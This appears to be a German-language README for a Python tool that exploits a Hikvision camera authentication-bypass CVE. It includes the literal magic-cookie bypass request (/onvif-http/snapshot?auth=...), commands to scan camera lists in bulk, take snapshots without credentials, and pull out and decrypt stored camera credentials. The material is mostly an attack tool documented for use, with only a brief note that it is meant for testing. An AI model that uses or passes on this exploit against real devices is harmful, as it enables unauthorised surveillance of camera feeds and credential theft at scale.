
HikVision Auth Bypass CVE, das Tool kann Anmeldeinformationen extrahieren und Schnappschüsse basierend auf Magic Cookie oder bereitgestellten Anmeldeinformationen erstellen.
Eigenständiges Tool zum Auflisten von Hikvision-Kameras aus einer Datei und zum Erstellen eines Snapshots von jeder Kamera unter Verwendung gültiger Anmeldedaten (HTTP Basic- oder Digest-Auth) oder des CVE-Auth-Bypass. Gedacht zum Ausführen auf einem anderen Host zum Testen.
host oder host:port pro Zeile).--save-snapshot für anfällige Geräte.--exploit zur Verwendung des CVE-Bypass ohne Anmeldedaten).--merge zum Erstellen eines Übersichtsbildes. Abhängigkeiten: requests, Pillow (für --merge).requestspip install -r requirements.txt
Erstellen Sie eine Textdatei mit einer Kamera pro Zeile. Kommentare mit # werden ignoriert.
# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
Gibt die aus der Datei gelesenen Kameras aus (keine Anmeldedaten erforderlich).
python hikvision_snapshots.py cameras.txt list
Optionale Erreichbarkeitsprüfung (HTTP GET zu jedem Host):
python hikvision_snapshots.py cameras.txt list -v
Testet jede Kamera auf den Hikvision Snapshot-Auth-Bypass CVE. Keine Anmeldedaten erforderlich.
python hikvision_snapshots.py cameras.txt check
Speichert Snapshots nur für anfällige Kameras:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
Optionen: --timeout, --workers, -o (für --save-snapshot).
Extrahiert Anmeldedaten von jeder Kamera über den CVE (magischer Auth zum Abrufen der Benutzerliste und Konfigurationsdatei, dann Entschlüsselung der Konfiguration). Erfordert OpenSSL auf dem Host. Keine Anmeldedaten zum Ausführen erforderlich.
python hikvision_snapshots.py cameras.txt credentials
Optionen: --timeout, --workers.
Überprüft, ob Ihre Anmeldedaten auf jeder Kamera funktionieren (verwendet dieselben Snapshot-Endpunkte; speichert keine Bilder).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
Optionen: --timeout, --workers, --digest (wie bei Snapshot).
Erstellt einen Snapshot pro Kamera und speichert als JPEG. Verwenden Sie entweder gültige Anmeldedaten oder --exploit (CVE-Auth-Bypass, keine Anmeldedaten).
# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ gespeichert (mit -o änderbar).host oder host_port abgeleitet (z.B. 192_168_1_100.jpg, nvr_local_8080.jpg).Optionen:
Mit --merge erstellt das Tool nach dem Speichern jedes Snapshots ein einzelnes Gitterbild (overview.jpg) im Ausgabeverzeichnis mit einer Zelle pro Kamera und einer Beschriftung. Erfordert Pillow (pip install Pillow).
Beispiel mit benutzerdefinierter Ausgabe und Digest-Auth:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
Beispiel mit zusammengeführter Übersicht:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# or with exploit (no creds):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
Authentifizierter Snapshot (mit Anmeldedaten): Das Skript versucht der Reihe nach – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (magischer Auth-Bypass, keine Anmeldedaten).
hikvision_snapshots.py, requirements.txt und Ihre Kameralisten-Datei auf den Host.pip install -r requirements.txtlist aus, um die Datei zu überprüfen; verwenden Sie check für CVE, auth-check für Anmeldedaten oder snapshot (mit -u/-p oder --exploit).Stellen Sie sicher, dass der Host Netzwerkzugriff auf alle Kamera-IPs und Ports hat.
| Option | Description | Default |
|---|
-u, --username | Kamera-Benutzername | erforderlich, außer bei --exploit |
-p, --password | Kamera-Passwort | erforderlich, außer bei --exploit |
--exploit | CVE-magischen Auth-Bypass verwenden (keine Anmeldedaten) | aus |
-o, --output-dir | Verzeichnis für Snapshot-Bilder | snapshots |
--timeout | HTTP-Timeout in Sekunden | 15 |
--workers | Anzahl gleichzeitiger Snapshot-Anfragen | 10 |
--digest | HTTP-Digest-Auth anstelle von Basic verwenden | aus |
--merge | Alle Snapshots zu einem Übersichtsbild zusammenführen | aus |
--merge-columns | Gitterspalten für Merge (Standard: auto) | auto |